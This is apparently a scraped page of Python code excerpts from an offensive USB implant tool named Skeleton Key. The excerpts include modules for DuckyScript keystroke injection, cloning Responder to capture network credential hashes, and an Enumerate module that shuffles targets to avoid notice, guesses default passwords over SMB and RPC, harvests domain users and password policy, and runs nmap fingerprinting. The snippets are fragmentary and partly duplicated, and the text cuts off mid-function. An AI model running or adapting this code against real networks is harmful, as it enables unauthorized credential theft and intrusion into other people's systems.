def __init__(self,
                 driver_name,
                 enabled=False,
                 vendor_id="",
                 product_id="",
                 debug=False,
                 name="debug",
                 type="component"):
        """Return a new framework component"""
        self.gadget = Debug(name=name, type=type, debug=debug)
        self.driver_name = driver_name
        # If kernel module was not found then modprobe -n will return driver_name not found in modules
        if "not found" in subprocess.run(["modprobe", "-n", driver_name],
                                         stdout=subprocess.PIPE).stdout.decode(
                                             'utf-8'):  # THROW EXCEPTION HERE
            self.gadget.debug("CRITICAL: %s does not exist" % driver_name,
                              color=Format.color_danger)
        self.driver_name = driver_name

        if enabled:
            self.enable()

        self.enabled = enabled

        self.vendor_id = vendor_id
        self.product_id = product_id
Beispiel #2
0
    def __init__(self, enabled=False, debug=True, state="uninitialised"):
        super().__init__(driver_name="g_ether",
                         enabled=enabled,
                         vendor_id="0x04b3",
                         product_id="0x4010",
                         debug=debug)
        self.state = state
        self.ping_address = "8.8.8.8"
        self._type = "Component"
        self._name = "Network"

        self.network = Debug(name="Network", type="Framework", debug=debug)
        self.network.debug("Initializing Network", color=Format.color_primary)
    def __init__(self, debug=False, save_needs_confirm=True):
        self.module_manager = Debug(name="ModuleManager",
                                    type="Helper",
                                    debug=debug)

        # Enables or disables the save confirmation feature
        self.save_needs_confirm = save_needs_confirm

        # Define directory and module paths
        self.main_path = os.path.dirname(os.path.realpath(__file__))
        self.modules_dir = self.main_path + "/../modules"
        self.module_list = []
        self.module_order = []
        self.import_module_configs()
Beispiel #4
0
class Storage:
    """
    Simple module that mounts a filesystem that the user requests for a set amount of time.
    The set time allows Skeleton Key to safely shutdown upon completion

    :param debug: Simple Debug toggle. Defaults to False
    """
    def __init__(self, path, debug=False):
        name = "Storage"
        self.storage = Debug(name=name, type="Module", debug=debug)
        self.debug = debug
        self.storage.debug("Initialized")

        # Setup module manager
        self.module_manager = ModuleManager(debug=debug,
                                            save_needs_confirm=True)
        self.storage.debug("ModuleManager Created")

        # import config data for this module
        self.current_config = self.module_manager.get_module_by_name(name)
        if not self.current_config:
            self.storage.debug("Error: could not import config of " + name)

        # Import default system path

        self.file_path = path + self.current_config.options["file_path"].strip(
        )
        self.file_name = self.current_config.options["file_name"].strip()
        self.read_only = "true" == self.current_config.options[
            "read_only"].strip()
        self.wait = int(self.current_config.options["wait"].strip())

    def run(self):
        """
        Run function skeleton key requires.
        Opens file system on the bus, waits 45 seconds by default then closes.

        :param file_path: Path to assumed .img file e.g. /foo/bar/, ./foo/
        :param file_name: name of image file including extension e.g. bar.img
        :param read_only: Define whether to mount the file system as Read only. Defaults to False
        :param wait: How long the file system should remain mounted. Defaults to "45" seconds (Type Int)

        :return: No return
        """
        blinkt = BlinktSupport(200, 0, 200)

        current_storage = StorageAccess(file_name=self.file_name,
                                        file_path=self.file_path,
                                        debug=self.debug)
        current_storage.mount_bus(self.read_only)

        for tick in range(8):
            try:
                blinkt.unset_pixel(tick - 1)
            finally:
                blinkt.set_pixel(tick)
                time.sleep(self.wait / 8)

        current_storage.unmount()
        return True
Beispiel #5
0
    def __init__(self, path, debug):
        self.type = "Module"
        self.name = "KeyInject"
        self.dbg = debug

        # setup debug
        self.path = path
        self.keyinject = Debug(name=self.name, type=self.type, debug=debug)
        self.keyinject.debug("Debug Enabled")

        # Setup module manager
        self.module_manager = ModuleManager(debug=debug,
                                            save_needs_confirm=True)

        # Import config data for this module
        self.current_config = self.module_manager.get_module_by_name(self.name)

        # List of scripts to execute
        try:
            self.scripts_to_execute = self.current_config.options[
                "script"].split(',')
        except Exception as err:
            self.keyinject.debug("Critical Error: %s" % err,
                                 color=Format.color_danger)
        # Make it known
        self.keyinject.debug("Initializing KeyInject...",
                             color=Format.color_info)

        self.scripts = []
        for script in self.scripts_to_execute:
            try:
                with open(
                        "%s/modules/%s/scripts/%s" %
                    (self.path, self.name, script), "r") as current_script:
                    self.scripts.append(current_script.readlines())
            except Exception as err:
                self.keyinject.debug("Error: %s" % err,
                                     color=Format.color_warning)
Beispiel #6
0
    def __init__(self, path, debug=False):
        name = "Storage"
        self.storage = Debug(name=name, type="Module", debug=debug)
        self.debug = debug
        self.storage.debug("Initialized")

        # Setup module manager
        self.module_manager = ModuleManager(debug=debug,
                                            save_needs_confirm=True)
        self.storage.debug("ModuleManager Created")

        # import config data for this module
        self.current_config = self.module_manager.get_module_by_name(name)
        if not self.current_config:
            self.storage.debug("Error: could not import config of " + name)

        # Import default system path

        self.file_path = path + self.current_config.options["file_path"].strip(
        )
        self.file_name = self.current_config.options["file_name"].strip()
        self.read_only = "true" == self.current_config.options[
            "read_only"].strip()
        self.wait = int(self.current_config.options["wait"].strip())
Beispiel #7
0
class KeyInject:
    """ Class for KeyInject Module
                Options:
		   enabled		whether this module is enabled or disabled
		   script		script or comma-seperated list of scripts to run						
               functions:
                   Run		        Run DuckyScript parser on target file 

               Returns:
                   None
               Raises:
		   IOERROR 		File could not be opened
           """

    # Constructor
    def __init__(self, path, debug):
        self.type = "Module"
        self.name = "KeyInject"
        self.dbg = debug

        # setup debug
        self.path = path
        self.keyinject = Debug(name=self.name, type=self.type, debug=debug)
        self.keyinject.debug("Debug Enabled")

        # Setup module manager
        self.module_manager = ModuleManager(debug=debug,
                                            save_needs_confirm=True)

        # Import config data for this module
        self.current_config = self.module_manager.get_module_by_name(self.name)

        # List of scripts to execute
        try:
            self.scripts_to_execute = self.current_config.options[
                "script"].split(',')
        except Exception as err:
            self.keyinject.debug("Critical Error: %s" % err,
                                 color=Format.color_danger)
        # Make it known
        self.keyinject.debug("Initializing KeyInject...",
                             color=Format.color_info)

        self.scripts = []
        for script in self.scripts_to_execute:
            try:
                with open(
                        "%s/modules/%s/scripts/%s" %
                    (self.path, self.name, script), "r") as current_script:
                    self.scripts.append(current_script.readlines())
            except Exception as err:
                self.keyinject.debug("Error: %s" % err,
                                     color=Format.color_warning)

    # Run method for Armed mode
    def run(self):
        self.keyinject.debug("Creating Keyboard", color=Format.color_info)
        # Initialize keyboard fw module here it will also destroy here
        keyboard = Keyboard(debug=self.dbg, path=self.path, enabled=False)
        keyboard.enable()
        # Can't run if no scripts
        if not self.scripts:
            self.keyinject.debug("Critical: No valid scripts",
                                 color=Format.color_danger)
            return False

        self.keyinject.debug("Running KeyInject...", color=Format.format_clear)

        # Run previously specified scripts
        for script in self.scripts:
            keyboard.resolve_script(script=script)
        keyboard.disable()
Beispiel #8
0
    def __init__(self, path, debug):
        super().__init__(debug=debug)
        self._type = "Module"
        self._name = "Responder"

        # All modules assumed to use it
        self.path = path
        self.responder = Debug(name="Responder", type="Module", debug=debug)

        # If no responder source, install it
        responder_source_directory = "%s/modules/%s/%s" % (
            self.path, self._name, "source")
        try:
            # Attempt to open file
            open("%s/%s" % (responder_source_directory, "LICENSE"))
        except FileNotFoundError:
            subprocess.run(
                "git clone https://github.com/SpiderLabs/Responder.git %s" %
                responder_source_directory,
                shell=True)

        if "aspbian" in subprocess.run("lsb_release -a",
                                       stdout=subprocess.PIPE,
                                       shell=True).stdout.decode():
            # If the "hashes" directory doesn't exist, create it
            if not os.path.exists("%s/modules/Responder/hashes" % self.path):
                subprocess.run("mkdir %s/modules/Responder/hashes" % self.path,
                               shell=True)
                self.responder.debug("Creating hashes directory",
                                     color=Format.color_info)
            else:
                self.responder.debug(
                    "The hashes directory already exists, skipping creation!",
                    color=Format.color_info)

        # Setup module manager
        self.module_manager = ModuleManager(debug=debug,
                                            save_needs_confirm=True)

        # import config data for this module
        self.current_config = self.module_manager.get_module_by_name(
            self._name)
        if not self.current_config:
            self.responder.debug("Error: could not import config ",
                                 color=Format.color_danger)

        # Should not be global and should register debug state
        self.network = FwComponentNetwork(debug=debug)

        # Adapted from /src/utils.py. Creates and populates Responder.db correctly
        # (for some unknown reason Responder doesn't do this automatically)
        if not os.path.exists(
                "%s/modules/Responder/source/Responder.db" % self.path):
            self.responder.debug("Creating Responder.db",
                                 color=Format.color_info)
            cursor = sqlite3.connect(
                "%s/modules/Responder/source/Responder.db" % self.path)
            cursor.execute(
                'CREATE TABLE responder (timestamp varchar(32), module varchar(16), '
                'type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), '
                'cleartext varchar(128), hash varchar(512), fullhash varchar(512))'
            )
            cursor.commit()
            cursor.close()
Beispiel #9
0
class Enumerate:
    def __init__(self, path, debug):
        self.enumerate = Debug(name="Enumerate", type="Module", debug=debug)
        self._debug = debug

        # Setup module manager
        self.module_manager = ModuleManager(debug=debug,
                                            save_needs_confirm=True)

        # import config data for this module
        self.current_config = self.module_manager.get_module_by_name(
            self.enumerate._name)
        if not self.current_config:
            self.enumerate.debug("Error: could not import config of " +
                                 self.enumerate._name,
                                 color=Format.color_danger)

        # Import default system path
        self.path = path

        # Import interface else use default
        self.interface = self.current_config.options["interface"]\
            if self.current_config.options["interface"] == "wlan0"\
            or self.current_config.options["interface"] == "usb0"\
            else "wlan0"

        self.enumerate.debug("Using interface: " + self.interface)

        # ~Produce list of usable ip addresses~
        self.raw_ip_targets = self.current_config.options["ip_targets"]
        self.raw_ip_exclusions = self.current_config.options["ip_exclusions"]
        self.ip_list = [
            ip for ip in self.get_ip_list(self.raw_ip_targets)
            if ip not in self.get_ip_list(self.raw_ip_exclusions)
        ]

        # have to do it this way to avoid actions happening to both lists
        self.ip_list_shuffled = [ip for ip in self.ip_list]
        random.shuffle(self.ip_list_shuffled)

        # ~Produce list of usable ports~
        self.raw_ports = self.current_config.options["port_targets"]
        self.raw_port_exclusions = self.current_config.options[
            "port_exclusions"]
        self.port_list = [
            port for port in self.get_port_list(self.raw_ports)
            if port not in self.get_port_list(self.raw_port_exclusions)
        ]

        # ~Produce list of usable users.txt~
        self.user_list = []
        with open(self.path + "/modules/Enumerate/users.txt") as user_file:
            for line in user_file:
                try:
                    user, _, password = line.strip().partition(":")
                    self.user_list.append([user, password])
                except Exception as user_list_err:
                    self.enumerate.debug("Error parsing users: %s" %
                                         user_list_err,
                                         color=Format.color_warning)

        # ~Produce list of default passwords~
        self.default_passwords = []
        with open(self.path +
                  "/modules/Enumerate/default_passwords.txt") as password_file:
            for line in password_file:
                self.default_passwords.append(line)

        self.rpc_timeout = float(
            self.current_config.options['rpc_timeout_start'])
        self.rpc_max_timeout = float(
            self.current_config.options['rpc_timeout_max'])
        self.rpc_timeout_increment = float(
            self.current_config.options['rpc_timeout_increment'])

        self.quiet = self.current_config.options["quiet"]
        self.verbose = self.current_config.options["verbose"]
        self.use_port_range = self.current_config.options["use_port_range"]

        ###############################################################################
        # The following  mappings for nmblookup (nbtstat) status codes to human readable
        # format is taken from nbtscan 1.5.1 "statusq.c".  This file in turn
        # was derived from the Samba package which contains the following
        # license:
        #    Unix SMB/Netbios implementation
        #    Version 1.9
        #    Main SMB server routine
        #    Copyright (C) Andrew Tridgell 1992-1999
        #
        #    This program is free software; you can redistribute it and/or modif
        #    it under the terms of the GNU General Public License as published b
        #    the Free Software Foundation; either version 2 of the License, o
        #    (at your option) any later version
        #
        #    This program is distributed in the hope that it will be useful
        #    but WITHOUT ANY WARRANTY; without even the implied warranty o
        #    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See th
        #    GNU General Public License for more details
        #
        #    You should have received a copy of the GNU General Public Licens
        #    along with this program; if not, write to the Free Softwar
        #    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA

        self.nbt_info = [
            ["__MSBROWSE__", "01", 0, "Master Browser"],
            ["INet~Services", "1C", 0, "IIS"], ["IS~", "00", 1, "IIS"],
            ["", "00", 1, "Workstation Service"],
            ["", "01", 1, "Messenger Service"],
            ["", "03", 1, "Messenger Service"],
            ["", "06", 1,
             "RAS Server Service"], ["", "1F", 1, "NetDDE Service"],
            ["", "20", 1, "File Server Service"],
            ["", "21", 1, "RAS Client Service"],
            ["", "22", 1, "Microsoft Exchange Interchange(MSMail Connector)"],
            ["", "23", 1, "Microsoft Exchange Store"],
            ["", "24", 1, "Microsoft Exchange Directory"],
            ["", "30", 1, "Modem Sharing Server Service"],
            ["", "31", 1, "Modem Sharing Client Service"],
            ["", "43", 1, "SMS Clients Remote Control"],
            ["", "44", 1, "SMS Administrators Remote Control Tool"],
            ["", "45", 1, "SMS Clients Remote Chat"],
            ["", "46", 1, "SMS Clients Remote Transfer"],
            ["", "4C", 1, "DEC Pathworks TCPIP service on Windows NT"],
            ["", "52", 1, "DEC Pathworks TCPIP service on Windows NT"],
            ["", "87", 1, "Microsoft Exchange MTA"],
            ["", "6A", 1, "Microsoft Exchange IMC"],
            ["", "BE", 1, "Network Monitor Agent"],
            ["", "BF", 1, "Network Monitor Application"],
            ["", "03", 1, "Messenger Service"],
            ["", "00", 0, "Domain/Workgroup Name"],
            ["", "1B", 1, "Domain Master Browser"],
            ["", "1C", 0,
             "Domain Controllers"], ["", "1D", 1, "Master Browser"],
            ["", "1E", 0, "Browser Service Elections"],
            ["", "2B", 1, "Lotus Notes Server Service"],
            ["IRISMULTICAST", "2F", 0, "Lotus Notes"],
            ["IRISNAMESERVER", "33", 0, "Lotus Notes"],
            ['Forte_$ND800ZA', "20", 1, "DCA IrmaLan Gateway Server Service"]
        ]
        # ~end of enum4linux.pl-derived code~

    def run(self):
        # ~Runs all the things~
        # ---------------------

        target_ips = defaultdict(TargetInfo)  # Init of dictionary

        current_ip_in_list = 1
        ips_in_list = len(self.ip_list_shuffled)

        for ip in self.ip_list_shuffled:  # Make it less obvious
            self.enumerate.debug("Target (%s) %s of %s" %
                                 (ip, current_ip_in_list, ips_in_list))

            current = TargetInfo()

            self.enumerate.debug("Starting ICMP", color=Format.color_info)
            # check current IP responds to ICMP
            current.RESPONDS_ICMP = self.check_target_is_alive(
                ip, interface=self.interface)
            self.enumerate.debug("%s responds to ICMP? %s" %
                                 (ip, current.RESPONDS_ICMP))

            self.enumerate.debug("Starting ARP", color=Format.color_info)
            # check current IP responds to ARP
            arp_response = self.get_targets_via_arp(ip,
                                                    interface=self.interface)

            if arp_response:
                try:
                    current.RESPONDS_ARP = True
                    current.MAC_ADDRESS = arp_response[0][1]
                    current.ADAPTER_NAME = arp_response[0][2]
                    self.enumerate.debug("%s responds to ARP? %s" %
                                         (ip, current.RESPONDS_ARP))
                    self.enumerate.debug("%s's physical address is %s" %
                                         (ip, current.MAC_ADDRESS))
                    self.enumerate.debug("%s's adapter name is %s" %
                                         (ip, current.ADAPTER_NAME))
                except Exception as Err:
                    self.enumerate.debug("ARP Err: %s" % Err,
                                         color=Format.color_warning)
            else:
                self.enumerate.debug("No ARP response from %s" % ip)

            # check route to this target
            if self.interface != "usb0":
                self.enumerate.debug("Starting Route", color=Format.color_info)
                current.ROUTE = self.get_route_to_target(
                    ip, map_host_names=False, interface=self.interface)

            # NBT STAT
            self.enumerate.debug("Starting NBTSTAT", color=Format.color_info)
            current.NBT_STAT = self.get_nbt_stat(ip)

            # RPC CLIENT
            self.enumerate.debug("Starting RPCCLIENT", color=Format.color_info)
            current.DOMAIN_GROUPS, current.DOMAIN_USERS, current.PASSWD_POLICY = self.get_rpcclient(
                user_list=self.user_list,
                password_list=self.default_passwords,
                target=ip)
            # current.DOMAIN

            # NMAP to determine OS, port and service info
            self.enumerate.debug("Starting NMAP", color=Format.color_info)
            nmap_output = self.nmap(ip)  # TODO portsCSV
            if len(nmap_output) == 2:
                self.enumerate.debug("NMAP parsing output")
                current.PORTS += nmap_output[1]
                current.OS_INFO += nmap_output[0]
            else:
                self.enumerate.debug(
                    "Error: NMAP output did not match expectations",
                    color=Format.color_warning)
                current.PORTS = False
                current.OS_INFO = False  # making it easier to parse

            # SMBCLIENT / SHARE INFO
            self.enumerate.debug("Starting SMBCLIENT", color=Format.color_info)
            current.SHARE_INFO = self.get_share(ip)

            # SAVE RESULTS
            self.enumerate.debug("Saving results from %s" % ip,
                                 color=Format.color_success)
            # Add target information to dict
            target_ips[ip] = current
            current_ip_in_list += 1

        # Write output to html
        with open(self.path + "/modules/Enumerate/output.html", "w") as out:
            self.enumerate.debug("Writing all results to output.html",
                                 color=Format.color_info)
            html = Result2Html(debug=self._debug)
            output = html.result2html(target_ips, self.ip_list)
            out.write(output)

        return  # End of run

    def get_port_list(self, raw_ports):
        """
        :param raw_ports:
        :return list string?:
        :return none:
        """
        # TODO 01/03/18 [1/2] Add error handling
        # Comma separated list of Ports
        if "," in raw_ports:
            return raw_ports.strip().split(',')
        # Range of ports
        elif "-" in raw_ports:
            start, _, end = raw_ports.strip().partition('-')
            return [port for port in range(int(start), int(end))]
        # Single port
        elif 0 <= int(raw_ports) <= 65535:
            return [raw_ports]

        # Else Bad entry
        self.enumerate.debug(
            "Error: Invalid type, must be lower_port-upper_port, single port or p1, p2, p3, etc..."
        )
        return None

    def get_ip_list(self, raw_ips):
        """
        :param raw_ips:
        :return list string:
        :return none:
        """
        # TODO 01/03/18 [2/2] Add error handling
        # Comma separated list of IPs
        if "," in raw_ips:
            return raw_ips.strip().split(',')
        # Range of IPs
        elif "-" in raw_ips:
            start, _, end = raw_ips.strip().partition('-')

            # If you are looking at this line wondering wtf give this a go: socket.inet_ntoa(struct.pack('>I', 5))
            return [
                socket.inet_ntoa(struct.pack('>I', i)) for i in range(
                    struct.unpack('>I', socket.inet_aton(start))[0],
                    struct.unpack('>I', socket.inet_aton(end))[0])
            ]
        # Single IP
        elif IpValidator.is_valid_ipv4_address(raw_ips):
            return [raw_ips]
        # Bad entry
        else:
            self.enumerate.debug(
                "Error: Invalid type, must be lower_ip-upper_ip or ip1, ip2, ip3, etc..."
            )
            return None

    def get_share(self, target):
        """
        :param target:
        :return list of 3 lists first contains share name second share type and third share description:
        """
        def parse_this_share(shares):
            shares = shares.splitlines()  # Spilt output into list

            output = [[], [], []]  # Create list to hold output

            # Delete first line (results in shares being empty if it failed)
            del shares[0]

            # If content still exists in shares (it completed successfully)
            if shares:

                # Clean up formatting (Needs to be like this)
                del shares[0]
                del shares[0]

                regex = re.compile("^\s+([^\s]*)\s*([^\s]*)\s*([^\n]*)",
                                   flags=re.M)  # Compile regex
                for line in shares:  # For each share
                    result = re.search(regex,
                                       line)  # Search for a match to regex
                    if result:  # If found
                        result = [
                            res if not None else "" for res in result.groups()
                        ]  # Ensure valid
                        for index in range(0, 3):
                            output[index].append(
                                result[index]
                            )  # Load result into the output list

            self.enumerate.debug("get_share: output generated successfully",
                                 color=Format.color_success)
            return output

        for user, passwd in self.user_list:
            if passwd:
                try:
                    shares = subprocess.run(
                        "smbclient " + "-L " + target + " -U " + user + "%" +
                        passwd,
                        shell=True,
                        stdout=subprocess.PIPE).stdout.decode('utf-8')
                except Exception as e:
                    if "non-zero" in e:
                        if "NT_STATUS_CONNECTION_REFUSED" in shares:
                            self.enumerate.debug(
                                "get_share: Error NT_STATUS_CONNECTION_REFUSED"
                            )
                            continue

                        # 99% of the time, errors here are subprocess calls returning non-zero
                    else:
                        self.enumerate.debug("get_share: Critical Error %s" %
                                             e,
                                             color=Format.color_danger)
                        return False
                else:
                    if "NT_STATUS_CONNECTION_REFUSED" in shares or "NT_STATUS_LOGON_FAILURE" in shares:
                        continue

                    return parse_this_share(shares)

            else:
                for password in self.default_passwords:
                    try:
                        shares = subprocess.run(
                            "smbclient " + "-L " + target + " -U " + user +
                            "%" + passwd,
                            shell=True,
                            stdout=subprocess.PIPE).stdout.decode('utf-8')
                    except Exception as e:
                        if "non-zero" in e:
                            if "NT_STATUS_CONNECTION_REFUSED" in shares:
                                self.enumerate.debug(
                                    "get_share: Error NT_STATUS_CONNECTION_REFUSED "
                                )
                                continue

                            # 99% of the time, errors here are subprocess calls returning non-zero
                        else:
                            self.enumerate.debug(
                                "get_share: Critical Error %s" % e,
                                color=Format.color_danger)
                            return False
                    else:
                        if "NT_STATUS_CONNECTION_REFUSED" in shares or "NT_STATUS_LOGON_FAILURE" in shares:
                            continue

                        return parse_this_share(shares)

    def get_groups(self, target, user, password):
        '''
        :param target:
        :param user:
        :param password:
        :return: List of samba groups on target
        '''

        # Get all groups
        groups = subprocess.run("net rpc group LIST global -I " + target +
                                " -U  " + user + "%" + password,
                                shell=True,
                                stdout=subprocess.PIPE).stdout.decode('utf-8')

        self.enumerate.debug(groups)

        if not (re.search("Could not connect|Connection failed:",
                          groups,
                          flags=re.M)):  # If successful
            groups = groups.splitlines()  # Split results into list
            return groups
        else:
            return False  # Something went wrong

    def get_users(self, target, group, user, password):
        '''
        :param target:
        :param group:
        :param user:
        :param password:
        :return: List of users in a given samba group
        '''

        # Get all users in a given group
        users = subprocess.run("net rpc group members \"" + group + "\" -I " +
                               target + " -U " + user + "%" + password,
                               shell=True,
                               stdout=subprocess.PIPE).stdout.decode('utf-8')

        self.enumerate.debug(users)

        if not (re.search("Could not connect|Connection failed:",
                          users,
                          flags=re.M)):  # If successful
            groups = users.splitlines()  # Split results into list
            return users
        else:
            return False  # Something went wrong

    def get_all_users(self, target, user, password):
        '''
        :param target:
        :param user:
        :param password:
        :return: List of lists first contains a string group name, second contains list of string user
        '''

        output = [[], [[]]]  # Make output list

        groups = self.get_groups(target, user, password)  # Get groups

        if groups:  # If groups ran successfully
            for group in groups:  # For each group
                users = self.get_users(target, group, user,
                                       password)  # Attempt to harvest users
                if users:  # If successful
                    output[0].append(group)  # Load group into output
                    output[1].append(users)  # Load user list into output

        if output:  # If output was generated
            return output
        else:
            return False  # Something went wrong

    # NMAP scans for service and operating system detection
    def nmap(self, target_ip):
        """
        :return list of list of list of strings:
        :return none:
        """
        self.enumerate.debug("Nmap initializing...",
                             color=Format.color_secondary)
        nm = nmap.PortScanner()  # Declare python NMAP object
        output_list = []  # List for saving the output of the commands to

        def service_parsing(
        ):  # local function for parsing service and port info

            parsed_output = []

            for protocol in nm[target_ip].all_protocols():

                for port in nm[target_ip][protocol]:
                    nmap_results = nm[target_ip][protocol][port]
                    parsed_output.append([
                        str(port), nmap_results['product']
                        if nmap_results['product'] else "null",
                        nmap_results['version'] if nmap_results['version'] else
                        "null", nmap_results['state']
                        if nmap_results['state'] else "null"
                    ])

            output_list.append(
                parsed_output)  # Add parsed data to the output list

            return

        def os_parsing(output):  # Local function for parsing OS information
            # (required as python NMAP OS isn't working correctly)

            parsed_output = []
            # Separating OS info and appending it to the output list
            for line in output.splitlines():
                if "OS" in line and "detection" not in line and "matches" not in line:

                    if "Running:" in line:
                        new_line = line.strip('Running:').split(',')
                        parsed_output.append(new_line)

                    elif "Aggressive OS guesses" in line:
                        new_line = line.strip('Aggressive OS guesses:').split(
                            ', ')
                        parsed_output.append(new_line)

                    elif "OS details" in line:
                        new_line = line.strip('OS details:')
                        parsed_output.append(new_line)

            output_list.append(parsed_output)

            return

        try:
            if self.quiet == "true":  # If quiet scan flag is set use "quiet" scan pre-sets
                self.enumerate.debug("NMAP: quiet mode",
                                     color=Format.format_clear)
                command = "-sV --version-light"

                if self.use_port_range == "true":  # If a port range has been specified use
                    nm.scan(hosts=target_ip,
                            ports=self.raw_ports,
                            arguments=command)
                else:
                    nm.scan(hosts=target_ip, arguments=command)

                # Run "quiet" nmap OS scan and save output to a variable for parsing
                os_output = subprocess.run(
                    ["nmap", "-O", target_ip],
                    shell=True,
                    stdout=subprocess.PIPE).stdout.decode('utf-8')

            else:  # Use "loud" scan pre-sets
                self.enumerate.debug("NMAP: loud mode",
                                     color=Format.format_clear)
                command = "-sV --version-all -T4"

                if self.use_port_range == "true":
                    nm.scan(hosts=target_ip,
                            ports=self.raw_ports,
                            arguments=command)
                else:
                    nm.scan(hosts=target_ip, arguments=command)

                # Run "loud" nmap OS scan and save output to a variable for parsing
                os_output = subprocess.run(
                    ["sudo", "nmap", "-O", "--osscan-guess", "-T5", target_ip],
                    stdout=subprocess.PIPE).stdout.decode('utf-8')

            self.enumerate.debug("NMAP: OS parsing", color=Format.color_info)
            os_parsing(os_output)  # Call local function for nmap OS parsing
            self.enumerate.debug("NMAP: Service parsing",
                                 color=Format.color_info)
            service_parsing(
            )  # Call local function for nmap service/port parsing
        except Exception as another_nmap_error:
            self.enumerate.debug("NMAP Error: %s" % another_nmap_error,
                                 color=Format.color_warning)
            return False

        self.enumerate.debug("NMAP: Output generated successfully",
                             color=Format.color_success)
        return output_list  # return the output of scans in the form of a list

    def get_nbt_stat(self, target):
        """
        :return list string:
        """
        raw_nbt = subprocess.run(
            ["sudo", "nmblookup", "-A", target],
            stdout=subprocess.PIPE).stdout.decode('utf-8').split('\n')
        # Basically does the same as the real NBTSTAT but really really disgusting output
        if not raw_nbt:
            self.enumerate.debug("get_nbt_stat Error: nmblookup failed",
                                 color=Format.color_warning)
            return False

        # Fixing that output
        output = []
        for line in raw_nbt:
            # Get actual results
            try:
                result = re.search(
                    "\s+(\S+)\s+<(..)>\s+-\s+?(<GROUP>)?\s+?[A-Z]\s+?(<ACTIVE>)?",
                    line)
                if result:  # If any matches the regex

                    # Need to replace None type with ""
                    result = [
                        res if res is not None else ""
                        for res in result.groups()
                    ]

                    for nbt_line in self.nbt_info:
                        service, hex_code, group, descriptor = nbt_line
                        # if we need to check service or not (this is empty for some fields)
                        if service:
                            if service == result[0] and hex_code == result[
                                    1] and bool(group) == bool(result[2]):
                                self.enumerate.debug("service match: %s/%s " %
                                                     (line, descriptor))
                                output.append("%s %s" % (line, descriptor))
                                break
                        else:
                            if hex_code == result[1] and bool(group) == bool(
                                    result[2]):
                                self.enumerate.debug("hex_code match: %s/%s " %
                                                     (line, descriptor))
                                output.append("%s %s" % (line, descriptor))
                                break

                else:  # If it didn't match the regex
                    # Ignore the "Looking up status of [target]" line
                    if "up status of" in line or "MAC Address" in line:
                        continue

                    # No results found for target
                    elif "No reply from" in line:
                        return False

                    # still no results and line isn't empty
                    if "".join(line.split()) != "":
                        self.enumerate.debug(
                            "get_nbt_stat: No match found for %s" % line,
                            color=Format.color_info)
                        output.append("%s" % line)

            except Exception as what_went_wrong:
                self.enumerate.debug("Something went wrong %s" %
                                     what_went_wrong,
                                     color=Format.color_warning)

        self.enumerate.debug("get_nbt_stat: Output generated successfully",
                             color=Format.color_success)
        return output

    def rpc_request(self, user, password, target):
        if self.rpc_timeout < self.rpc_max_timeout:
            if self.rpc_timeout > 0:
                sleep(self.rpc_timeout)

            try:

                command = [
                    "rpcclient", "-U", user, target, "-c", "getdompwinfo"
                ]

                self.enumerate.debug("RPC Request Username - %s" % user)
                self.enumerate.debug("RPC Request Password - %s" % password)

                dompwpolicy_test_query = subprocess.run(command,
                                                        input=password + "\n",
                                                        encoding="ascii",
                                                        stdout=subprocess.PIPE)

                if dompwpolicy_test_query.check_returncode() is not None:
                    if "NT_STATUS_CONNECTION_REFUSED" in dompwpolicy_test_query.stdout:
                        # Unable to connect
                        self.enumerate.debug(
                            "Error: get_rpcclient: Connection refused under - %s"
                            % user, Format.color_warning)

                        self.rpc_timeout += self.rpc_timeout_increment

                    return

                else:
                    command.pop()

                    curr_domain_info = self.extract_info_rpc(
                        subprocess.run(command + ["enumdomgroups"],
                                       input=password + "\n",
                                       encoding="ascii",
                                       stdout=subprocess.PIPE).stdout)

                    self.enumerate.debug("First few items - %s " %
                                         curr_domain_info[0])
                    curr_user_info = self.extract_info_rpc(subprocess.run(
                        command + ["enumdomusers"],
                        input=password + "\n",
                        encoding="ascii",
                        stdout=subprocess.PIPE).stdout,
                                                           startrows=0,
                                                           initchars=6)

                    self.enumerate.debug("First few characters of users - %s" %
                                         curr_user_info[0])

                    curr_password_info = self.get_password_policy(
                        dompwpolicy_test_query.stdout)

                return [curr_domain_info, curr_user_info, curr_password_info]

            except Exception:
                return

    def get_rpcclient(self, user_list, password_list, target):
        """
        Using RPC Client command to enumerate users, password policy and groups

        :param user_list:
        :param password_list:
        :param target:
        :return none:
        """

        domain_info = []
        user_info = []
        password_info = []

        for user, passwd in user_list:
            if passwd:
                try:
                    current = self.rpc_request(user, passwd, target)

                except Exception as e:
                    if "non-zero" in e:
                        continue  # 99% of the time, errors here are subprocess calls returning non-zero
                    else:
                        self.enumerate.debug("get_rpcclient: Error %s" % e,
                                             color=Format.color_danger)

                # There must be a better way to do this I cant think of without utilising self
                # If output from rpc_request
                if current:
                    # current = [curr_domain_info, curr_user_info, curr_password_info]

                    # There may be a quicker way to do this but it would likely require another structure
                    for line in current[0]:
                        if line not in domain_info:
                            domain_info += line

                    for line in current[1]:
                        if line not in user_info:
                            user_info += line

                    if not password_info:
                        password_info = current[2]

            else:
                for password in password_list:
                    try:
                        current = self.rpc_request(user, password, target)
                    except IOError as e:

                        self.enumerate.debug("Error: get_rpcrequest: %s" % e,
                                             Format.color_danger)

                        # If output from rpc_request
                        continue

                    if current:
                        # current = [curr_domain_info, curr_user_info, curr_password_info]

                        for line in current[0]:
                            if line not in domain_info:
                                domain_info += line

                        for line in current[1]:
                            if line not in user_info:
                                user_info += line

                        if not password_info:
                            password_info = current[2]

                        break

        return domain_info, user_info, password_info

    def get_password_policy(self, raw_command):
        """
        :param raw_command:
        :return int, bool, bool, bool, bool, bool, bool:
        """
        length = 0
        clear_text_pw = False
        refuse_pw_change = False
        lockout_admins = False
        complex_pw = False
        pw_no_anon_change = False
        pw_no_change = False

        if "min_password_length" in raw_command:
            for s in raw_command.split():
                if s.isdigit():
                    length = s
                    self.enumerate.debug("Min Password Length: " + s,
                                         Format.color_info)

        if "DOMAIN_PASSWORD_STORE_CLEARTEXT" in raw_command:
            clear_text_pw = True
            self.enumerate.debug("Password Store Cleartext Flag",
                                 Format.color_info)
        if "DOMAIN_REFUSE_PASSWORD_CHANGE" in raw_command:
            refuse_pw_change = True
            self.enumerate.debug("Refuse Password Change Flag",
                                 Format.color_info)
        if "DOMAIN_PASSWORD_LOCKOUT_ADMINS" in raw_command:
            lockout_admins = True
            self.enumerate.debug("Password Lockout Admins Flag",
                                 Format.color_info)
        if "DOMAIN_PASSWORD_COMPLEX" in raw_command:
            complex_pw = True
